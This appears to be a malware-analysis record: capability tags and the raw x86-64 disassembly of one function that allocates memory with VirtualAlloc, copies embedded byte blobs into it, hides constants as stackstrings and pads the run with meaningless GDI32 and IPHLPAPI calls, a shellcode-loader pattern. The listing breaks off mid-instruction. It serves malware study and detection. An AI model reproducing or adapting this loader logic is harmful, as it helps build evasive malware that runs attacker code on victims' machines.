Function at 0x6698205a
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
mov eax, 0x1900
call fcn.66986430
sub rsp, rax
lea rbp, [rsp + 0x80]
movss xmm0, dword [0x66a12888]
movss dword [rbp + 0x1320], xmm0
movss xmm0, dword [0x66a1288c]
movss dword [rbp + 0x1324], xmm0
movss xmm0, dword [0x66a12890]
movss dword [rbp + 0x1328], xmm0
movss xmm0, dword [0x66a12894]
movss dword [rbp + 0x132c], xmm0
movss xmm0, dword [0x66a12898]
movss dword [rbp + 0x1330], xmm0
mov dword [rbp + 0x1300], 0xf6f2c1b5
mov dword [rbp + 0x1304], 0xc86a166c
mov dword [rbp + 0x1308], 0xa2d3c11d
mov dword [rbp + 0x130c], 0xdb0c2534
mov dword [rbp + 0x1310], 0x5c9a8e91
mov dword [rbp + 0x12fb], 0x27a1672c
mov byte [rbp + 0x12ff], 0xc
mov dword [rbp + 0x12d0], 0x600920d7
mov dword [rbp + 0x12d4], 0xfa6cc154
mov dword [rbp + 0x12d8], 0xf7deb4ae
mov dword [rbp + 0x12dc], 0xf0dc61e4
mov dword [rbp + 0x12e0], 0xc975fd00
mov dword [rbp + 0x12e4], 0xbc1e53b9
mov dword [rbp + 0x12e8], 0x72a69345
mov dword [rbp + 0x184c], 0x2c39c48
mov byte [rbp + 0x184b], 0xf
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov dword [rbp + 0x1844], eax
movss xmm0, dword [0x66a1289c]
movss dword [rbp + 0x12a0], xmm0
movss xmm0, dword [0x66a128a0]
movss dword [rbp + 0x12a4], xmm0
movss xmm0, dword [0x66a128a4]
movss dword [rbp + 0x12a8], xmm0
movss xmm0, dword [0x66a128a8]
movss dword [rbp + 0x12ac], xmm0
movss xmm0, dword [0x66a128ac]
movss dword [rbp + 0x12b0], xmm0
movss xmm0, dword [0x66a128b0]
movss dword [rbp + 0x12b4], xmm0
movss xmm0, dword [0x66a128b4]
movss dword [rbp + 0x12b8], xmm0
movss xmm0, dword [0x66a128b8]
movss dword [rbp + 0x12bc], xmm0
movss xmm0, dword [0x66a128bc]
movss dword [rbp + 0x12c0], xmm0
movss xmm0, dword [0x66a128c0]
movss dword [rbp + 0x12c4], xmm0
mov word [rbp + 0x1842], 0x1c2
mov byte [rbp + 0x1841], 9
mov byte [rbp + 0x1840], 0x40
mov byte [rbp + 0x183f], 0xe
movabs rax, 0x6d641c0e782bec6f
mov qword [rbp + 0x1296], rax
mov word [rbp + 0x129e], 0x2999
movss xmm0, dword [0x66a128c4]
movss dword [rbp + 0x1270], xmm0
movss xmm0, dword [0x66a128c8]
movss dword [rbp + 0x1274], xmm0
movss xmm0, dword [0x66a128cc]
movss dword [rbp + 0x1278], xmm0
movss xmm0, dword [0x66a128d0]
movss dword [rbp + 0x127c], xmm0
movss xmm0, dword [0x66a128d4]
movss dword [rbp + 0x1280], xmm0
movss xmm0, dword [0x66a128d8]
movss dword [rbp + 0x1284], xmm0
movss xmm0, dword [0x66a128dc]
movss dword [rbp + 0x1288], xmm0
movss xmm0, dword [0x66a128e0]
movss dword [rbp + 0x128c], xmm0
mov word [rbp + 0x1264], 0xbe14
mov word [rbp + 0x1266], 0x36ba
mov word [rbp + 0x1268], 0x2274
mov word [rbp + 0x126a], 0xe0d7
mov word [rbp + 0x126c], 0xd93b
mov word [rbp + 0x126e], 0x9d
mov byte [rbp + 0x183e], 0xe9
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x80c84
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1830], rax
mov word [rbp + 0x182e], 0x4673
mov word [rbp + 0x182c], 0xb9c
mov dword [rbp + 0x1828], 0x464d540
mov byte [rbp + 0x1827], 0x6d
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CombineTransform]
call rax
mov dword [rbp + 0x1820], eax
mov word [rbp + 0x1258], 0xb67f
mov word [rbp + 0x125a], 0xc3d4
mov word [rbp + 0x125c], 0xf5f2
mov word [rbp + 0x125e], 0x1adc
mov word [rbp + 0x1260], 0x3a9e
mov word [rbp + 0x1262], 0xd3fe
mov dword [rbp + 0x1230], 0x409e6154
mov dword [rbp + 0x1234], 0x528a8122
mov dword [rbp + 0x1238], 0xe26e7e35
mov dword [rbp + 0x123c], 0x4be8750b
mov dword [rbp + 0x1240], 0x833f5f7e
mov dword [rbp + 0x1244], 0x22cb62f0
mov dword [rbp + 0x1248], 0x846dee2f
mov dword [rbp + 0x124c], 0x9f7cf9c9
mov dword [rbp + 0x1250], 0xd69fc7d1
mov byte [rbp + 0x181f], 0xad
mov dword [rbp + 0x1818], 0
mov byte [rbp + 0x1817], 0xf8
mov dword [rbp + 0x1210], 0x73297502
mov dword [rbp + 0x1214], 0xe6b1e8e4
mov dword [rbp + 0x1218], 0x99c3ae3f
mov dword [rbp + 0x121c], 0xfc1871a0
mov dword [rbp + 0x1220], 0x5a033327
mov dword [rbp + 0x1224], 0x7736031f
mov dword [rbp + 0x1228], 0x186fac23
mov dword [rbp + 0x122c], 0x7d1199bf
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteMetaFile]
call rax
mov dword [rbp + 0x1810], eax
mov dword [rbp + 0x11e0], 0xfa46f62e
mov dword [rbp + 0x11e4], 0x83aef3a3
mov dword [rbp + 0x11e8], 0xef4f1f55
mov dword [rbp + 0x11ec], 0xba24a5e7
mov dword [rbp + 0x11f0], 0x5ff5034b
mov dword [rbp + 0x11f4], 0x9e96284d
mov dword [rbp + 0x11f8], 0x4d557fa0
mov dword [rbp + 0x11fc], 0x623d2fba
mov dword [rbp + 0x1200], 0x82a9f333
mov dword [rbp + 0x1204], 0xcbb7b074
mov dword [rbp + 0x180c], 0xdd807c7d
movsd xmm0, qword [str.ffff]
movsd qword [rbp + 0x11b0], xmm0
movsd xmm0, qword [0x66a128f0]
movsd qword [rbp + 0x11b8], xmm0
movsd xmm0, qword [0x66a128f8]
movsd qword [rbp + 0x11c0], xmm0
movsd xmm0, qword [0x66a12900]
movsd qword [rbp + 0x11c8], xmm0
movsd xmm0, qword [0x66a12908]
movsd qword [rbp + 0x11d0], xmm0
movsd xmm0, qword [0x66a12910]
movsd qword [rbp + 0x11d8], xmm0
mov word [rbp + 0x180a], 0x72b
mov dword [rbp + 0x1804], 0x8e975f52
mov byte [rbp + 0x1803], 0xb5
mov dword [rbp + 0x11a9], 0x50e25b7
mov word [rbp + 0x11ad], 0xb1e0
mov byte [rbp + 0x11af], 0x44
mov byte [rbp + 0x1802], 0x41
movsd xmm0, qword [0x66a12918]
movsd qword [rbp + 0x17f8], xmm0
movss xmm0, dword [0x66a12920]
movss dword [rbp + 0x1190], xmm0
movss xmm0, dword [0x66a12924]
movss dword [rbp + 0x1194], xmm0
movss xmm0, dword [0x66a12928]
movss dword [rbp + 0x1198], xmm0
movss xmm0, dword [0x66a1292c]
movss dword [rbp + 0x119c], xmm0
movss xmm0, dword [0x66a12930]
movss dword [rbp + 0x11a0], xmm0
mov dword [rbp + 0x1170], 0x892b4bde
mov dword [rbp + 0x1174], 0x70ecefd8
mov dword [rbp + 0x1178], 0x5253ffb9
mov dword [rbp + 0x117c], 0xa488897b
mov dword [rbp + 0x1180], 0x610caaa6
mov dword [rbp + 0x1184], 0x5c552c6a
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteMetaFile]
call rax
mov dword [rbp + 0x17f4], eax
mov dword [rbp + 0x1150], 1
mov dword [rbp + 0x1154], 1
mov dword [rbp + 0x1158], 1
mov dword [rbp + 0x115c], 0
mov dword [rbp + 0x1160], 0
mov word [rbp + 0x17f2], 0xe38
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateBitmap]
call rax
mov qword [rbp + 0x17e8], rax
mov byte [rbp + 0x17e7], 0xb0
mov dword [rbp + 0x1130], 0x9edb35e6
mov dword [rbp + 0x1134], 0x17bd413e
mov dword [rbp + 0x1138], 0xc1ea058f
mov dword [rbp + 0x113c], 0xfd9e2933
mov dword [rbp + 0x1140], 0xe643b3ac
mov dword [rbp + 0x1144], 0xd521f4b9
mov dword [rbp + 0x1148], 0x98a47de8
mov dword [rbp + 0x114c], 0x34eb5272
movsd xmm0, qword [0x66a12938]
movsd qword [rbp + 0x17d8], xmm0
movsd xmm0, qword [0x66a12940]
movsd qword [rbp + 0x17d0], xmm0
mov dword [rbp + 0x17cc], 1
mov dword [rbp + 0x17c8], 0x6d2268fc
mov word [rbp + 0x1122], 0x9cc0
mov word [rbp + 0x1124], 0x91d8
mov word [rbp + 0x1126], 0xadc5
mov word [rbp + 0x1128], 0x8342
mov word [rbp + 0x112a], 0xa5a0
mov word [rbp + 0x112c], 0xaac9
mov word [rbp + 0x112e], 0x1854
mov word [rbp + 0x17c6], 0x6934
mov dword [rbp + 0x1100], 0
mov dword [rbp + 0x1104], 1
mov dword [rbp + 0x1108], 1
mov dword [rbp + 0x110c], 0
mov dword [rbp + 0x1110], 0
mov dword [rbp + 0x1114], 1
mov dword [rbp + 0x1118], 0
mov byte [rbp + 0x17c5], 0x33
mov word [rbp + 0x10e0], 0x2ce7
mov word [rbp + 0x10e2], 0x8b14
mov word [rbp + 0x10e4], 0xdf17
mov word [rbp + 0x10e6], 0x51a3
mov word [rbp + 0x10e8], 0xa290
mov word [rbp + 0x10ea], 0x7a4b
mov word [rbp + 0x10ec], 0x9cdd
mov word [rbp + 0x10ee], 0xb19c
mov word [rbp + 0x10f0], 0x5ed4
mov word [rbp + 0x10f2], 0xe30f
mov byte [rbp + 0x17c4], 9
mov word [rbp + 0x10d0], 0x6757
mov word [rbp + 0x10d2], 0xab30
mov word [rbp + 0x10d4], 0xeb60
mov word [rbp + 0x10d6], 0x9824
mov word [rbp + 0x10d8], 0xc1c
mov word [rbp + 0x10da], 0x9322
mov word [rbp + 0x10dc], 0xdb72
mov word [rbp + 0x10de], 0xda3d
movsd xmm0, qword [0x66a12948]
movsd qword [rbp + 0x17b8], xmm0
mov dword [rbp + 0x10cc], 0x5eca8f65
mov dword [rbp + 0x10c5], 0x25f6ebd4
mov word [rbp + 0x10c9], 0x8b75
mov byte [rbp + 0x10cb], 0xca
mov word [rbp + 0x10b0], 0xc90a
mov word [rbp + 0x10b2], 0x3a58
mov word [rbp + 0x10b4], 0x4b3c
mov word [rbp + 0x10b6], 0xd4c9
mov word [rbp + 0x10b8], 0x5a98
mov word [rbp + 0x10ba], 0x1edf
mov word [rbp + 0x10bc], 0xcd71
mov word [rbp + 0x10be], 0x4c85
mov dword [rbp + 0x1090], 0x1e1f0237
mov dword [rbp + 0x1094], 0x90739867
mov dword [rbp + 0x1098], 0x379eced0
mov dword [rbp + 0x109c], 0x718954b
mov dword [rbp + 0x10a0], 0xee03e152
mov dword [rbp + 0x10a4], 0x25a860f1
mov byte [rbp + 0x17b7], 0xdc
mov dword [rbp + 0x1060], 0x9665a3d4
mov dword [rbp + 0x1064], 0x4dc27ee9
mov dword [rbp + 0x1068], 0x26065df8
mov dword [rbp + 0x106c], 0xd1c889fe
mov dword [rbp + 0x1070], 0x9502b65e
mov dword [rbp + 0x1074], 0x4724d4ff
mov dword [rbp + 0x1078], 0x7288964a
mov dword [rbp + 0x107c], 0xbc443478
mov dword [rbp + 0x1080], 0x2ae740a4
mov dword [rbp + 0x1084], 0x27b0b236
mov dword [rbp + 0x17b0], 0xaa6c25ff
mov dword [rbp + 0x17ac], 0x1d28a55
mov dword [rbp + 0x17a8], 0x8a46059c
mov dword [rbp + 0x1040], 0x68e93379
mov dword [rbp + 0x1044], 0x7a58c97d
mov dword [rbp + 0x1048], 0xea31cb98
mov dword [rbp + 0x104c], 0x4fa5acfe
mov dword [rbp + 0x1050], 0xfa0f539
mov dword [rbp + 0x1054], 0x3fa61371
mov dword [rbp + 0x1058], 0xe3287714
mov dword [rbp + 0x105c], 0x87a5ce
mov word [rbp + 0x1020], 0xe4f3
mov word [rbp + 0x1022], 0xa40e
mov word [rbp + 0x1024], 0xa327
mov word [rbp + 0x1026], 0x750e
mov word [rbp + 0x1028], 0x42fe
mov word [rbp + 0x102a], 0x53bd
mov word [rbp + 0x102c], 0x779c
mov word [rbp + 0x102e], 0xd8e6
mov word [rbp + 0x1030], 0x8fe
mov dword [rbp + 0x17a4], 0x4858a286
mov dword [rbp + 0x17a0], 0xc92319f9
mov dword [rbp + 0xff0], 0
mov dword [rbp + 0xff4], 0
mov dword [rbp + 0xff8], 1
mov dword [rbp + 0xffc], 0
mov dword [rbp + 0x1000], 0
mov dword [rbp + 0x1004], 0
mov dword [rbp + 0x1008], 1
mov dword [rbp + 0x100c], 0
mov dword [rbp + 0x1010], 0
mov dword [rbp + 0x1014], 1
mov word [rbp + 0xfd0], 0xd89d
mov word [rbp + 0xfd2], 0x4c9c
mov word [rbp + 0xfd4], 0x2db5
mov word [rbp + 0xfd6], 0xf4ab
mov word [rbp + 0xfd8], 0xaeb
mov word [rbp + 0xfda], 0xff0f
mov word [rbp + 0xfdc], 0xee8f
mov word [rbp + 0xfde], 0x4398
mov word [rbp + 0xfe0], 0x31b5
mov dword [rbp + 0xfb0], 0xa281c565
mov dword [rbp + 0xfb4], 0xdc85d0aa
mov dword [rbp + 0xfb8], 0x4d0eaed4
mov dword [rbp + 0xfbc], 0x91d5e927
mov dword [rbp + 0xfc0], 0xae3f6189
mov dword [rbp + 0xfc4], 0xff010f47
mov byte [rbp + 0x179f], 0x52
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_EnumFontFamiliesA]
call rax
mov dword [rbp + 0x1798], eax
mov word [rbp + 0x1796], 0x477a
mov word [rbp + 0x1794], 0x1b84
mov word [rbp + 0x1792], 0xd84d
mov dword [rbp + 0xf90], 0xc5c3c6c6
mov dword [rbp + 0xf94], 0x7bc792f3
mov dword [rbp + 0xf98], 0xf535b59e
mov dword [rbp + 0xf9c], 0xb2dc2547
mov dword [rbp + 0xfa0], 0xebb8bde9
mov dword [rbp + 0xf80], 0x245d71f7
mov dword [rbp + 0xf84], 0x5056d98b
mov dword [rbp + 0xf88], 0xe2be3a31
mov dword [rbp + 0xf8c], 0x655579e9
mov word [rbp + 0xf74], 0x75da
mov word [rbp + 0xf76], 0xe420
mov word [rbp + 0xf78], 0xdec2
mov word [rbp + 0xf7a], 0xd2c1
mov word [rbp + 0xf7c], 0xc575
mov word [rbp + 0xf7e], 0x91b9
mov dword [rbp + 0xf60], 0
mov dword [rbp + 0xf64], 1
mov dword [rbp + 0xf68], 0
mov dword [rbp + 0xf6c], 0
movsd xmm0, qword [0x66a12950]
movsd qword [rbp + 0xf40], xmm0
movsd xmm0, qword [0x66a12958]
movsd qword [rbp + 0xf48], xmm0
movsd xmm0, qword [0x66a12960]
movsd qword [rbp + 0xf50], xmm0
mov word [rbp + 0x1790], 0xb1a6
mov byte [rbp + 0x178f], 0x91
mov dword [rbp + 0x187c], 0
mov word [rbp + 0x178c], 0xaa70
mov byte [rbp + 0x178b], 0xc1
mov dword [rbp + 0x1784], 0xcfc86a3b
mov word [rbp + 0x1782], 0x5abe
mov dword [rbp + 0x1878], 0
jmp 0x66982d2e
mov eax, dword [rbp + 0x1878]
cdqe
lea rdx, str.I_b
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1878]
cdqe
lea rdx, str.I_b
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1878], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1878]
cmp eax, 0x3960
jbe 0x66982ccd
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CombineTransform]
call rax
mov dword [rbp + 0x177c], eax
mov dword [rbp + 0xf20], 0x28af3de7
mov dword [rbp + 0xf24], 0xe2600046
mov dword [rbp + 0xf28], 0x27ce097e
mov dword [rbp + 0xf2c], 0x7344470b
mov dword [rbp + 0xf30], 0x3eb16e7b
mov dword [rbp + 0xf34], 0x47db4425
mov dword [rbp + 0xf38], 0x28918b23
mov dword [rbp + 0xf3c], 0x73a465a8
mov dword [rbp + 0xef0], 0xe6fa36c1
mov dword [rbp + 0xef4], 0xde56e8dd
mov dword [rbp + 0xef8], 0xc16b4900
mov dword [rbp + 0xefc], 0x3161091d
mov dword [rbp + 0xf00], 0xa55b164b
mov dword [rbp + 0xf04], 0x279dc4d
mov dword [rbp + 0xf08], 0x395f8dd5
mov dword [rbp + 0xf0c], 0x70adca53
mov dword [rbp + 0xf10], 0x69cc7865
mov dword [rbp + 0x1874], 0
jmp 0x66982e71
mov eax, dword [rbp + 0x1874]
cdqe
lea rdx, str.FczH_
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1874]
cdqe
lea rdx, str.FczH_
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1874], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1874]
cmp eax, 0x8455
jbe 0x66982e10
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CombineTransform]
call rax
mov dword [rbp + 0x1778], eax
mov byte [rbp + 0x1777], 0xaf
mov dword [rbp + 0x1770], 1
mov dword [rbp + 0x1870], 0
jmp 0x66982f1b
mov eax, dword [rbp + 0x1870]
cdqe
lea rdx, [0x66992e00]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1870]
cdqe
lea rdx, [0x66992e00]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1870], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1870]
cmp eax, 0xc4e8
jbe 0x66982eba
mov dword [rbp + 0x176c], 0
movsd xmm0, qword [0x66a12968]
movsd qword [rbp + 0xea0], xmm0
movsd xmm0, qword [0x66a12970]
movsd qword [rbp + 0xea8], xmm0
movsd xmm0, qword [0x66a12978]
movsd qword [rbp + 0xeb0], xmm0
movsd xmm0, qword [0x66a12980]
movsd qword [rbp + 0xeb8], xmm0
movsd xmm0, qword [0x66a12988]
movsd qword [rbp + 0xec0], xmm0
movsd xmm0, qword [0x66a12990]
movsd qword [rbp + 0xec8], xmm0
movsd xmm0, qword [0x66a12998]
movsd qword [rbp + 0xed0], xmm0
movsd xmm0, qword [0x66a129a0]
movsd qword [rbp + 0xed8], xmm0
movsd xmm0, qword [0x66a129a8]
movsd qword [rbp + 0xee0], xmm0
movsd xmm0, qword [0x66a129b0]
movsd qword [rbp + 0xee8], xmm0
mov byte [rbp + 0x176b], 0x9c
mov dword [rbp + 0x1764], 0x8e820a69
mov dword [rbp + 0x186c], 0
jmp 0x66983050
mov eax, dword [rbp + 0x186c]
cdqe
lea rdx, [0x6699f300]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x186c]
cdqe
lea rdx, [0x6699f300]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x186c], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x186c]
cmp eax, 0x94b3
jbe 0x66982fef
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateBitmap]
call rax
mov qword [rbp + 0x1758], rax
mov word [rbp + 0x1756], 0xfc23
mov dword [rbp + 0xe90], 0x4f46a259
mov dword [rbp + 0xe94], 0xa0e9cd02
mov dword [rbp + 0xe98], 0x66777383
mov dword [rbp + 0xe9c], 0xf679c74a
mov byte [rbp + 0x1755], 0xb9
mov dword [rbp + 0x1868], 0
jmp 0x66983131
mov eax, dword [rbp + 0x1868]
cdqe
lea rdx, [0x669a87c0]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1868]
cdqe
lea rdx, [0x669a87c0]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1868], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1868]
cmp eax, 0xaf80
jbe 0x669830d0
movabs rax, 0xf837b6d6c1cd3255
mov qword [rbp + 0xe87], rax
mov byte [rbp + 0xe8f], 0x63
mov byte [rbp + 0x1754], 0xcd
movsd xmm0, qword [0x66a129b8]
movsd qword [rbp + 0x1748], xmm0
mov dword [rbp + 0x1744], 0x4f5775df
mov dword [rbp + 0x1864], 0
jmp 0x669831e4
mov eax, dword [rbp + 0x1864]
cdqe
lea rdx, [0x669b3760]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1864]
cdqe
lea rdx, [0x669b3760]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1864], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1864]
cmp eax, 0x6df8
jbe 0x66983183
mov word [rbp + 0xe7c], 0x32af
mov word [rbp + 0xe7e], 0x5fdd
mov word [rbp + 0xe80], 0x5503
mov word [rbp + 0xe82], 0x3a4d
mov word [rbp + 0xe84], 0x377f
mov word [rbp + 0xe74], 0x26d2
mov word [rbp + 0xe76], 0x94ad
mov word [rbp + 0xe78], 0x7923
mov word [rbp + 0xe7a], 0xbf84
mov word [rbp + 0x1742], 0xcbc9
mov dword [rbp + 0x173c], 0x8c9e558c
mov dword [rbp + 0x1860], 0
jmp 0x669832c2
mov eax, dword [rbp + 0x1860]
cdqe
lea rdx, [0x669ba560]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1860]
cdqe
lea rdx, [0x669ba560]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x1860], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x1860]
cmp eax, 0x8e61
jbe 0x66983261
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov dword [rbp + 0x1738], eax
movabs rax, 0xdb3d6c7e15d0fe3d
mov qword [rbp + 0xe6b], rax
mov byte [rbp + 0xe73], 0x90
mov dword [rbp + 0x1734], 0x42c2d2e0
add dword [rbp + 0x1734], 1
mov dword [rbp + 0x185c], 0
jmp 0x66983384
mov eax, dword [rbp + 0x185c]
cdqe
lea rdx, [0x669c33e0]
movzx ecx, byte [rax + rdx]
mov edx, dword [rbp + 0x187c]
mov rax, qword [rbp + 0x1830]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x185c]
cdqe
lea rdx, [0x669c33e0]
movzx edx, byte [rax + rdx]
mov eax, dword [rbp + 0x187c]
add eax, 0x40642
mov ecx, eax
mov rax, qword [rbp + 0x1830]
add rax, rcx
mov byte [rax], dl
add dword [rbp + 0x185c], 1
add dword [rbp + 0x187c], 1
mov eax, dword [rbp + 0x185c]
cmp eax, 0x3acf
jbe 0x66983323
mov dword [rbp + 0xe50], 0xc5e5e475
mov dword [rbp + 0xe54], 0x62c7b05f
mov dword [rbp + 0xe58], 0x26721668
mov dword [rbp + 0xe5c], 0xff352f5d
mov dword [rbp + 0xe60], 0x10d8006e
mov dword [rbp + 0xe64], 0x46a454aa
mov dword [rbp + 0x1730], 0xe03398be
mov word [rbp + 0x172e], 0x457e
mov dword [rbp + 0x1728], 0xe9b63134
mov ecx, 0
call sub.IPHLPAPI.DLL_IpRenewAddress
mov dword [rbp + 0x1724], eax
mov word [rbp + 0xe42], 0xd343
mov word [rbp + 0xe44], 0x7297
mov word [rbp + 0xe46], 0x92ea
mov word [rbp + 0xe48], 0x70d6
mov word [rbp + 0xe4a], 0x2a82
mov word [rbp + 0xe4c], 0x2ee7
mov word [rbp + 0xe4e], 0x13fa
mov byte [rbp + 0x1723], 0x1d
movss xmm0, dword [0x66a129c0]
movss dword [rbp + 0x171c], xmm0
mov byte [rbp + 0x171b], 0x1d
movabs rax, 0xe2ab66a0f629451b
mov qword [rbp + 0xe3a], rax
mov byte [rbp + 0x171a], 0x35
movsd xmm0, qword [0x66a129c8]
movsd qword [rbp + 0xe20], xmm0
movsd xmm0, qword [0x66a129d0]
movsd qword [rbp + 0xe28], xmm0
movsd xmm0, qword [0x66a129d8]
movsd qword [rbp + 0xe30], xmm0
pxor xmm0, xmm0
movss dword [rsp + 0x28], xmm0
pxor xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_AngleArc]
call rax
mov dword [rbp + 0x1714], eax
mov byte [rbp + 0x1713], 0xc7
movabs rax, 0x6c6de5dcf86fc6c
mov qword [rbp + 0xe16], rax
mov word [rbp + 0xe1e], 0xd254
mov dword [rbp + 0x170c], 0x8ff64ff6
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateDCW]
call rax
mov qword [rbp + 0x1700], rax
mov ecx, 0
call sub.IPHLPAPI.DLL_SetIfEntry
mov dword [rbp + 0x16fc], eax
mov ecx, 0
call sub.IPHLPAPI.DLL_GetUdpStatistics
mov dword [rbp + 0x16f8], eax
movsd xmm0, qword [0x66a129e0]
movsd qword [rbp + 0x16f0], xmm0
movsd xmm0, qword [0x66a129e8]
movsd qword [rbp + 0xdc0], xmm0
movsd xmm0, qword [0x66a129f0]
movsd qword [rbp + 0xdc8], xmm0
movsd xmm0, qword [0x66a129f8]
movsd qword [rbp + 0xdd0], xmm0
movsd xmm0, qword [0x66a12a00]
movsd qword [rbp + 0xdd8], xmm0
movsd xmm0, qword [0x66a12a08]
movsd qword [rbp + 0xde0], xmm0
movsd xmm0, qword [0x66a12a10]
movsd qword [rbp + 0xde8], xmm0
movsd xmm0, qword [0x66a12a18]
movsd qword [rbp + 0xdf0], xmm0
movsd xmm0, qword [0x66a12a20]
movsd qword [rbp + 0xdf8], xmm0
movsd xmm0, qword [0x66a12a28]
movsd qword [rbp + 0xe00], xmm0
mov dword [rbp + 0x16ec], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateDCA]
call rax
mov qword [rbp + 0x16e0], rax
movsd xmm0, qword [0x66a12a30]
movsd qword [rbp + 0x16d8], xmm0
mov dword [rbp + 0x16d4], 0xabfd38c8
pxor xmm0, xmm0
movss dword [rsp + 0x28], xmm0
pxor xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_AngleArc]
call rax
mov dword [rbp + 0x16d0], eax
mov word [rbp + 0x16ce], 0xc467
mov ecx, 0
call sub.IPHLPAPI.DLL_SetIpStatistics
mov dword [rbp + 0x16c8], eax
movss xmm0, dword [0x66a12a38]
movss dword [rbp + 0x16c4], xmm0
mov byte [rbp + 0x16c3], 0xeb
mov word [rbp + 0xda0], 0x77bb
mov word [rbp + 0xda2], 0x952
mov word [rbp + 0xda4], 0xa4a0
mov word [rbp + 0xda6], 0x6ab8
mov word [rbp + 0xda8], 0x71c
mov word [rbp + 0xdaa], 0x2c57
mov word [rbp + 0xdac], 0xfc0f
mov word [rbp + 0xdae], 0xa40c
mov word [rbp + 0xdb0], 0xe592
mov word [rbp + 0xdb2], 0x7930
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_EnumEnhMetaFile]
call rax
mov dword [rbp + 0x16bc], eax
mov byte [rbp + 0x16bb], 0x92
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CombineRgn]
call rax
mov dword [rbp + 0x16b4], eax
movabs rax, 0x74538f8c35131213
